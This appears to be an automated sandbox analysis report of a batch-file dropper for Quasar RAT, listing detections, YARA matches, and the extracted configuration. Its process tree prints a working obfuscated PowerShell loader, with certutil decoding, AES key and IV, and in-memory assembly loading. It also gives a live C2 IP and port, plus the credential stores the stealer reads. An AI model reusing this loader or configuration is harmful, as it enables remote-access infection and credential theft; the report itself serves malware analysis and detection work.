Edit tour

Windows Analysis Report
deneme.bat

Overview

General Information

Sample Name:	deneme.bat
Analysis ID:	876996
MD5:	140518164b4e215675accd37cae0d91f
SHA1:	605f1798f9b54b245e35ea516c6e3818463953a7
SHA256:	3411ad812be09efa84946389ddf8fcbc2c1faa7aec4fd419fe02ec748f746abb
Tags:	bat
Infos:

Detection

Quasar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Antivirus detection for dropped file

Yara detected Quasar RAT

Renames powershell.exe to bypass HIPS

Yara detected Generic Downloader

C2 URLs / IPs found in malware configuration

Hides that the sample has been downloaded from the Internet (zone.identifier)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Internet Provider seen in connection with other malware

Detected potential crypto function

Contains long sleeps (>= 3 min)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Drops PE files

Detected TCP or UDP traffic on non-standard ports

Checks if the current process is being debugged

Dropped file seen in connection with other malware

Creates a process in suspended mode (likely to inject code)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Classification

Process Tree

System is w10x64

cmd.exe (PID: 2948 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\deneme.bat" " MD5: 4E2ACF4F8A396486AB4268C94A6A245F)

conhost.exe (PID: 4652 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

mode.com (PID: 5932 cmdline: Mode 60,3 MD5: 1A3D2D975EB4A5AF22768F1E23C9A83C)

certutil.exe (PID: 6972 cmdline: CERTUTIL -f -decode "C:\Users\user\Desktop\deneme.bat" "C:\Users\user\AppData\Local\Temp\allah.bat" MD5: EB199893441CED4BBBCB547FE411CF2D)

allah.bat.exe (PID: 6956 cmdline: "allah.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $lILxN = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\AppData\Local\Temp\allah.bat').Split([Environment]::NewLine);foreach ($vOhpq in $lILxN) { if ($vOhpq.StartsWith(':: ')) { $OHwZk = $vOhpq.Substring(3); break; }; };$PPhGD = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($OHwZk);$YGMef = New-Object System.Security.Cryptography.AesManaged;$YGMef.Mode = [System.Security.Cryptography.CipherMode]::CBC;$YGMef.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$YGMef.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('6pNVYWetf4chAWo/pEbNaRZ3xRLeWmBPF3OumGmDVww=');$YGMef.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lxQsLBFdvl0gyeVxt5ivJg==');$blbua = $YGMef.CreateDecryptor();$PPhGD = $blbua.TransformFinalBlock($PPhGD, 0, $PPhGD.Length);$blbua.Dispose();$YGMef.Dispose();$MkYmI = New-Object System.IO.MemoryStream(, $PPhGD);$wtLBU = New-Object System.IO.MemoryStream;$JeXHz = New-Object System.IO.Compression.GZipStream($MkYmI, [IO.Compression.CompressionMode]::Decompress);$JeXHz.CopyTo($wtLBU);$JeXHz.Dispose();$MkYmI.Dispose();$wtLBU.Dispose();$PPhGD = $wtLBU.ToArray();$weWpP = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($PPhGD);$BDLvJ = $weWpP.EntryPoint;$BDLvJ.Invoke($null, (, [string[]] (''))) MD5: 95000560239032BC68B4C2FDFCDEF913)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Quasar RAT, QuasarRAT	Quasar RAT is a malware family written in .NET which is used by a variety of attackers. The malware is fully functional and open source, and is often packed to make analysis of the source more difficult.	APT33 Dropping Elephant Stone Panda The Gorgon Group	http://researchcenter.paloaltonetworks.com/2017/01/unit42-downeks-and-quasar-rat-used-in-recent-targeted-attacks-against-governments https://0x00sec.org/t/master-of-rats-how-to-create-your-own-tracker/20848 https://adeo.com.tr/wp-content/uploads/2020/02/APT10_Report.pdf https://asec.ahnlab.com/en/31089/ https://blog.ensilo.com/uncovering-new-activity-by-apt10	https://malpedia.caad.fkie.fraunhofer.de/details/win.quasar_rat

Malware Configuration

Threatname: Quasar

{"Version": "1.4.1", "Host:Port": "74.234.104.236:3131;", "SubDirectory": "SubDir", "InstallName": "Client.exe", "MutexName": "c60dc807-eaae-43be-9bb5-d598c7ab3dad", "StartupKey": "Quasar Client Startup", "Tag": "Office04", "LogDirectoryName": "Logs", "ServerSignature": "QkrG1hrlPre4ELMGpY9VYUHNOoORaPrBaHOp0CYrLIPMR+5cUmlROjz9Udd+vkXFOJEpFXADJds5arUUD6SxXlBwSKE8zfsNw+U8P2e//dux99J83x0AVxAwFSHO/o7DRK2sA1imzXKM0/UdruohOUW9v7k4IzizqjklFzvm3xQniTnCG7JZzn7HsnH4i3BsBn0Ir6Q4QIfhFtv8aVA+tgqM5UrCTl8xr1nhSq+Rto87G9H7TNOydNEgLULlJt19Yujn8vGhoTJOVXhyQAlcpA5suYauo4PuhJMV4fRhaFqK1z+pJIe73OoWWO2La70/DIjQdFGWiM+9t+LQ7AuuiVQDXqjZ5VuFMEatd7yImwQ+MI+3HikoNCejHoquP1TjeugPLg5fuaxOIf8BGtU3Bl6zNeZf5eRwUKclMh90b1/S455jE6LJ+ak61xkR3yKSY67v1gUrfQzY4cXrD4e7aG711nqKD0PbyPtPUZlC4Sr8kpWVriUQ1otLmkZIxrbKHiy2tiC/p/CWkmEu7CANNZbLYG0512HfSvEMSE/t8MFcDKOluxc7S+bEBAlTW9UTB4Y4aDZ8QuaJqjn28VrrAR+p0QmypnDo0FOnmJ13O73QjMbWOD83IkJOR8zesXzE5FfQgmEu+O5Wz3tOkoVdw9sQX/Oc+TrzZvb9KYzUJpw=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAOlTpo8LWfXRZIepKFV3RzANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTIzMDUyMDE4NDcwOFoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAkc9l37JeZdDNiK5Nd7sqsX48TrYGmt8wpMOudDbHsJ9jQCTkD3mRy+BXeSJTOBGjzFaic5W8Wd5evNwi1sjsiTRo+0jGfXHsSV2LHHrUlOJVo/n0Jeyn+tk5+JrbQuMQTi8nIxoNIQBH26JldwOD4NGtk8JtnvAEj3s6jsqTszNBdzX9eUdlSmDF7C8Gs7MSO8aOFFcbxseOfRiKVx6J2C1kUurANTYxDnW+FW3+f0ES9sVVyMjcJVG3q83hTg/8wCLj5/z+D+j81PvtbaRtFbBkOtoMP8HeJtKZl9N7lS1WDO1bHRsTyaE71ZkbuUjtCRa87TvYyq8zKiHlklIPyF/JDaZJqC/R0Mp+oseIISooumlhSjTvOG981/dx5/bsf+zTG80KUf7jbefORcOAbf/kCzOhJ6QxM6aSKZmo7cADVmDdc3L5y6Pd1DDGkSUgyepeZ0dbNmiftNtZtIrWg8D/vJQBmWfTZtgNTL9sbgXVlNUc2kQIwkI1U6pE8XWbSSl60SqwkO+kOMuL7byhuefKmAUQGFbwh6Bsoao9Qq3WOEnKpwh6WaOlw4Yq6aznlAZ4HnUCWpqyQOj5E5wXMc2BxsDaP98UhH3oB/osvDjxGhEXuMsySisfrsrZr0nMhUCJR+1UfKhZFf2W1OOvCS2gLeQwX6S9P240E+FOIBUCAwEAAaMyMDAwHQYDVR0OBBYEFNjjH99zEKAJrNI0wsELubp4dsr7MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAA9p4WnELDlsxMW4J6yYbMgpN0bCtHsTyILqWvwXfpjC884kfbVp5yEKrtXvtlnmldsRTWG9VBt8KvHqcW4TKAOiFJQAJ0b0i5mjFhFv5KNfj1pCc9qEmxx9eEtB0jemRwJHWEgqatkdlYh5WMpFaeOidZ/pdD7gEYQzK1uKsO57JIKoI6288Af2gVfddm/en0dzemjQwhwlvqRaxZRy+IGrhAP2JYYib0TGpwt1C6n9gdpmd5YMksShUCRPD7qby/Hvppuyj/RolEELCN9KHJWVEBDTnPdZi4nGCe45CsG6mKQ33Ad2vmIQ1OJztrjGWs4n6smcz6EpX3zP41UfrHktiCTSfJe3zIO7p0M/xvITAUKX2MMLgZVGo4e2WYlXiCle1cH2yg66+w4k0QHsY0qS+lMf3SC7Ea8CxkgTQkp173Ztxbi2PFTUmhPVYboiHBmug0Ds/jDAmv4Y3Br3bePcy3bmhBeiFGA7uQ4FQ5z6ew2PEIlZErD0z+41a2rMlEA8PkaxfPSmvVTBFT7jT8aJidXy9WLrGCFuokwaW47d6r7P50Hn6w5CT8EAeR5La239+oVVRGhEZsNDqM/Kcd/BV8dk7grMJgqhStHkl4+3gAipCnd6S7g6glUMUjSnxV7yCTb3jcVD0Z+4vEnujYFzM9IZy4BQL6NN994l1+6d"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth (Nextron Systems)	0x2a1b9e:$x1: Quasar.Common.Messages 0x2b1ec7:$x1: Quasar.Common.Messages 0x2be4ae:$x4: Uninstalling... good bye :-( 0x2bfc99:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2bda60:$f1: FileZilla\recentservers.xml 0x2bdaa0:$f2: FileZilla\sitemanager.xml 0x2bdae2:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2bdd2e:$b1: Chrome\User Data\ 0x2bdd84:$b1: Chrome\User Data\ 0x2be05c:$b2: Mozilla\Firefox\Profiles 0x2be158:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x30f895:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2be2b0:$b4: Opera Software\Opera Stable\Login Data 0x2be36a:$b5: YandexBrowser\User Data\ 0x2be3d8:$b5: YandexBrowser\User Data\ 0x2be0ac:$s4: logins.json 0x2bdde2:$a1: username_value 0x2bde00:$a2: password_value 0x2be0ec:$a3: encryptedUsername 0x322f75:$a3: encryptedUsername 0x2be110:$a4: encryptedPassword 0x322f93:$a4: encryptedPassword 0x322f11:$a5: httpRealm
00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x18e3aa:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2be598:$s3: Process already elevated. 0x2a189d:$s4: get_PotentiallyVulnerablePasswords 0x28b959:$s5: GetKeyloggerLogsDirectory 0x2b1626:$s5: GetKeyloggerLogsDirectory 0x2a18c0:$s6: set_PotentiallyVulnerablePasswords
00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Process Memory Space: allah.bat.exe PID: 6956	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
4.2.allah.bat.exe.20e693c0000.6.raw.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth (Nextron Systems)	0x2a1b9e:$x1: Quasar.Common.Messages 0x2b1ec7:$x1: Quasar.Common.Messages 0x2be4ae:$x4: Uninstalling... good bye :-( 0x2bfc99:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
4.2.allah.bat.exe.20e693c0000.6.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
4.2.allah.bat.exe.20e693c0000.6.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.allah.bat.exe.20e693c0000.6.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2bda60:$f1: FileZilla\recentservers.xml 0x2bdaa0:$f2: FileZilla\sitemanager.xml 0x2bdae2:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2bdd2e:$b1: Chrome\User Data\ 0x2bdd84:$b1: Chrome\User Data\ 0x2be05c:$b2: Mozilla\Firefox\Profiles 0x2be158:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x30f895:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2be2b0:$b4: Opera Software\Opera Stable\Login Data 0x2be36a:$b5: YandexBrowser\User Data\ 0x2be3d8:$b5: YandexBrowser\User Data\ 0x2be0ac:$s4: logins.json 0x2bdde2:$a1: username_value 0x2bde00:$a2: password_value 0x2be0ec:$a3: encryptedUsername 0x322f75:$a3: encryptedUsername 0x2be110:$a4: encryptedPassword 0x322f93:$a4: encryptedPassword 0x322f11:$a5: httpRealm
4.2.allah.bat.exe.20e693c0000.6.raw.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x18e3aa:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2be598:$s3: Process already elevated. 0x2a189d:$s4: get_PotentiallyVulnerablePasswords 0x28b959:$s5: GetKeyloggerLogsDirectory 0x2b1626:$s5: GetKeyloggerLogsDirectory 0x2a18c0:$s6: set_PotentiallyVulnerablePasswords
4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth (Nextron Systems)	0x2a1b9e:$x1: Quasar.Common.Messages 0x2b1ec7:$x1: Quasar.Common.Messages 0x2be4ae:$x4: Uninstalling... good bye :-( 0x2bfc99:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2bda60:$f1: FileZilla\recentservers.xml 0x2bdaa0:$f2: FileZilla\sitemanager.xml 0x2bdae2:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2bdd2e:$b1: Chrome\User Data\ 0x2bdd84:$b1: Chrome\User Data\ 0x2be05c:$b2: Mozilla\Firefox\Profiles 0x2be158:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x30f895:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2be2b0:$b4: Opera Software\Opera Stable\Login Data 0x2be36a:$b5: YandexBrowser\User Data\ 0x2be3d8:$b5: YandexBrowser\User Data\ 0x2be0ac:$s4: logins.json 0x2bdde2:$a1: username_value 0x2bde00:$a2: password_value 0x2be0ec:$a3: encryptedUsername 0x322f75:$a3: encryptedUsername 0x2be110:$a4: encryptedPassword 0x322f93:$a4: encryptedPassword 0x322f11:$a5: httpRealm
4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x18e3aa:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2be598:$s3: Process already elevated. 0x2a189d:$s4: get_PotentiallyVulnerablePasswords 0x28b959:$s5: GetKeyloggerLogsDirectory 0x2b1626:$s5: GetKeyloggerLogsDirectory 0x2a18c0:$s6: set_PotentiallyVulnerablePasswords
4.2.allah.bat.exe.20e693c0000.6.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth (Nextron Systems)	0x29fd9e:$x1: Quasar.Common.Messages 0x2b00c7:$x1: Quasar.Common.Messages 0x2bc6ae:$x4: Uninstalling... good bye :-( 0x2bde99:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
4.2.allah.bat.exe.20e693c0000.6.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
4.2.allah.bat.exe.20e693c0000.6.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2bbc60:$f1: FileZilla\recentservers.xml 0x2bbca0:$f2: FileZilla\sitemanager.xml 0x2bbce2:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2bbf2e:$b1: Chrome\User Data\ 0x2bbf84:$b1: Chrome\User Data\ 0x2bc25c:$b2: Mozilla\Firefox\Profiles 0x2bc358:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x30da95:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2bc4b0:$b4: Opera Software\Opera Stable\Login Data 0x2bc56a:$b5: YandexBrowser\User Data\ 0x2bc5d8:$b5: YandexBrowser\User Data\ 0x2bc2ac:$s4: logins.json 0x2bbfe2:$a1: username_value 0x2bc000:$a2: password_value 0x2bc2ec:$a3: encryptedUsername 0x321175:$a3: encryptedUsername 0x2bc310:$a4: encryptedPassword 0x321193:$a4: encryptedPassword 0x321111:$a5: httpRealm
4.2.allah.bat.exe.20e693c0000.6.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x18c5aa:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2bc798:$s3: Process already elevated. 0x29fa9d:$s4: get_PotentiallyVulnerablePasswords 0x289b59:$s5: GetKeyloggerLogsDirectory 0x2af826:$s5: GetKeyloggerLogsDirectory 0x29fac0:$s6: set_PotentiallyVulnerablePasswords
4.2.allah.bat.exe.20e62ced3d0.0.unpack	MAL_QuasarRAT_May19_1	Detects QuasarRAT malware	Florian Roth (Nextron Systems)	0x29fd9e:$x1: Quasar.Common.Messages 0x2b00c7:$x1: Quasar.Common.Messages 0x2bc6ae:$x4: Uninstalling... good bye :-( 0x2bde99:$xc2: 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20 00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C 00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E 00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20 ...
4.2.allah.bat.exe.20e62ced3d0.0.unpack	JoeSecurity_Quasar	Yara detected Quasar RAT	Joe Security
4.2.allah.bat.exe.20e62ced3d0.0.unpack	INDICATOR_SUSPICIOUS_GENInfoStealer	Detects executables containing common artifcats observed in infostealers	ditekSHen	0x2bbc60:$f1: FileZilla\recentservers.xml 0x2bbca0:$f2: FileZilla\sitemanager.xml 0x2bbce2:$f3: SOFTWARE\\Martin Prikryl\\WinSCP 2\\Sessions 0x2bbf2e:$b1: Chrome\User Data\ 0x2bbf84:$b1: Chrome\User Data\ 0x2bc25c:$b2: Mozilla\Firefox\Profiles 0x2bc358:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x30da95:$b3: Software\Microsoft\Internet Explorer\IntelliForms\Storage2 0x2bc4b0:$b4: Opera Software\Opera Stable\Login Data 0x2bc56a:$b5: YandexBrowser\User Data\ 0x2bc5d8:$b5: YandexBrowser\User Data\ 0x2bc2ac:$s4: logins.json 0x2bbfe2:$a1: username_value 0x2bc000:$a2: password_value 0x2bc2ec:$a3: encryptedUsername 0x321175:$a3: encryptedUsername 0x2bc310:$a4: encryptedPassword 0x321193:$a4: encryptedPassword 0x321111:$a5: httpRealm
4.2.allah.bat.exe.20e62ced3d0.0.unpack	MALWARE_Win_QuasarStealer	Detects Quasar infostealer	ditekshen	0x18c5aa:$s1: PGma.System.MouseKeyHook, Version=5.6.130.0, Culture=neutral, PublicKeyToken=null 0x2bc798:$s3: Process already elevated. 0x29fa9d:$s4: get_PotentiallyVulnerablePasswords 0x289b59:$s5: GetKeyloggerLogsDirectory 0x2af826:$s5: GetKeyloggerLogsDirectory 0x29fac0:$s6: set_PotentiallyVulnerablePasswords
Click to see the 13 entries

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack

Malware Configuration Extractor: Quasar {"Version": "1.4.1", "Host:Port": "74.234.104.236:3131;", "SubDirectory": "SubDir", "InstallName": "Client.exe", "MutexName": "c60dc807-eaae-43be-9bb5-d598c7ab3dad", "StartupKey": "Quasar Client Startup", "Tag": "Office04", "LogDirectoryName": "Logs", "ServerSignature": "QkrG1hrlPre4ELMGpY9VYUHNOoORaPrBaHOp0CYrLIPMR+5cUmlROjz9Udd+vkXFOJEpFXADJds5arUUD6SxXlBwSKE8zfsNw+U8P2e//dux99J83x0AVxAwFSHO/o7DRK2sA1imzXKM0/UdruohOUW9v7k4IzizqjklFzvm3xQniTnCG7JZzn7HsnH4i3BsBn0Ir6Q4QIfhFtv8aVA+tgqM5UrCTl8xr1nhSq+Rto87G9H7TNOydNEgLULlJt19Yujn8vGhoTJOVXhyQAlcpA5suYauo4PuhJMV4fRhaFqK1z+pJIe73OoWWO2La70/DIjQdFGWiM+9t+LQ7AuuiVQDXqjZ5VuFMEatd7yImwQ+MI+3HikoNCejHoquP1TjeugPLg5fuaxOIf8BGtU3Bl6zNeZf5eRwUKclMh90b1/S455jE6LJ+ak61xkR3yKSY67v1gUrfQzY4cXrD4e7aG711nqKD0PbyPtPUZlC4Sr8kpWVriUQ1otLmkZIxrbKHiy2tiC/p/CWkmEu7CANNZbLYG0512HfSvEMSE/t8MFcDKOluxc7S+bEBAlTW9UTB4Y4aDZ8QuaJqjn28VrrAR+p0QmypnDo0FOnmJ13O73QjMbWOD83IkJOR8zesXzE5FfQgmEu+O5Wz3tOkoVdw9sQX/Oc+TrzZvb9KYzUJpw=", "ServerCertificate": "MIIE9DCCAtygAwIBAgIQAOlTpo8LWfXRZIepKFV3RzANBgkqhkiG9w0BAQ0FADAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMCAXDTIzMDUyMDE4NDcwOFoYDzk5OTkxMjMxMjM1OTU5WjAbMRkwFwYDVQQDDBBRdWFzYXIgU2VydmVyIENBMIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAkc9l37JeZdDNiK5Nd7sqsX48TrYGmt8wpMOudDbHsJ9jQCTkD3mRy+BXeSJTOBGjzFaic5W8Wd5evNwi1sjsiTRo+0jGfXHsSV2LHHrUlOJVo/n0Jeyn+tk5+JrbQuMQTi8nIxoNIQBH26JldwOD4NGtk8JtnvAEj3s6jsqTszNBdzX9eUdlSmDF7C8Gs7MSO8aOFFcbxseOfRiKVx6J2C1kUurANTYxDnW+FW3+f0ES9sVVyMjcJVG3q83hTg/8wCLj5/z+D+j81PvtbaRtFbBkOtoMP8HeJtKZl9N7lS1WDO1bHRsTyaE71ZkbuUjtCRa87TvYyq8zKiHlklIPyF/JDaZJqC/R0Mp+oseIISooumlhSjTvOG981/dx5/bsf+zTG80KUf7jbefORcOAbf/kCzOhJ6QxM6aSKZmo7cADVmDdc3L5y6Pd1DDGkSUgyepeZ0dbNmiftNtZtIrWg8D/vJQBmWfTZtgNTL9sbgXVlNUc2kQIwkI1U6pE8XWbSSl60SqwkO+kOMuL7byhuefKmAUQGFbwh6Bsoao9Qq3WOEnKpwh6WaOlw4Yq6aznlAZ4HnUCWpqyQOj5E5wXMc2BxsDaP98UhH3oB/osvDjxGhEXuMsySisfrsrZr0nMhUCJR+1UfKhZFf2W1OOvCS2gLeQwX6S9P240E+FOIBUCAwEAAaMyMDAwHQYDVR0OBBYEFNjjH99zEKAJrNI0wsELubp4dsr7MA8GA1UdEwEB/wQFMAMBAf8wDQYJKoZIhvcNAQENBQADggIBAA9p4WnELDlsxMW4J6yYbMgpN0bCtHsTyILqWvwXfpjC884kfbVp5yEKrtXvtlnmldsRTWG9VBt8KvHqcW4TKAOiFJQAJ0b0i5mjFhFv5KNfj1pCc9qEmxx9eEtB0jemRwJHWEgqatkdlYh5WMpFaeOidZ/pdD7gEYQzK1uKsO57JIKoI6288Af2gVfddm/en0dzemjQwhwlvqRaxZRy+IGrhAP2JYYib0TGpwt1C6n9gdpmd5YMksShUCRPD7qby/Hvppuyj/RolEELCN9KHJWVEBDTnPdZi4nGCe45CsG6mKQ33Ad2vmIQ1OJztrjGWs4n6smcz6EpX3zP41UfrHktiCTSfJe3zIO7p0M/xvITAUKX2MMLgZVGo4e2WYlXiCle1cH2yg66+w4k0QHsY0qS+lMf3SC7Ea8CxkgTQkp173Ztxbi2PFTUmhPVYboiHBmug0Ds/jDAmv4Y3Br3bePcy3bmhBeiFGA7uQ4FQ5z6ew2PEIlZErD0z+41a2rMlEA8PkaxfPSmvVTBFT7jT8aJidXy9WLrGCFuokwaW47d6r7P50Hn6w5CT8EAeR5La239+oVVRGhEZsNDqM/Kcd/BV8dk7grMJgqhStHkl4+3gAipCnd6S7g6glUMUjSnxV7yCTb3jcVD0Z+4vEnujYFzM9IZy4BQL6NN994l1+6d"}

Multi AV Scanner detection for submitted file

Source: deneme.bat

Virustotal: Detection: 16%

Perma Link

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\allah.bat

Avira: detection malicious, Label: TR/Dldr.Malnote.U

Yara detected Quasar RAT

Source: Yara match	File source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e693c0000.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e62ced3d0.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.647921815.0000020E62CED000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.647921815.0000020E62993000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.633628598.0000020E50F0A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: allah.bat.exe PID: 6956, type: MEMORYSTR

Source:	Binary string: powershell.pdbUGP source: allah.bat.exe, 00000004.00000000.368737034.00007FF7EB5BA000.00000002.00000001.01000000.00000004.sdmp, allah.bat.exe.0.dr
Source:	Binary string: powershell.pdb source: allah.bat.exe, 00000004.00000000.368737034.00007FF7EB5BA000.00000002.00000001.01000000.00000004.sdmp, allah.bat.exe.0.dr

Networking

Yara detected Generic Downloader

Source: Yara match	File source: 4.2.allah.bat.exe.20e693c0000.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.allah.bat.exe.20e62ced3d0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000004.00000002.681432243.0000020E693C0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 74.234.104.236

Source: Joe Sandbox View

ASN Name: ATT-INTERNET4US ATT-INTERNET4US

Source: global traffic

TCP traffic: 192.168.2.3:49702 -> 74.234.104.236:3131

Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
Source: unknown	TCP traffic detected without corresponding DNS query: 74.234.104.236
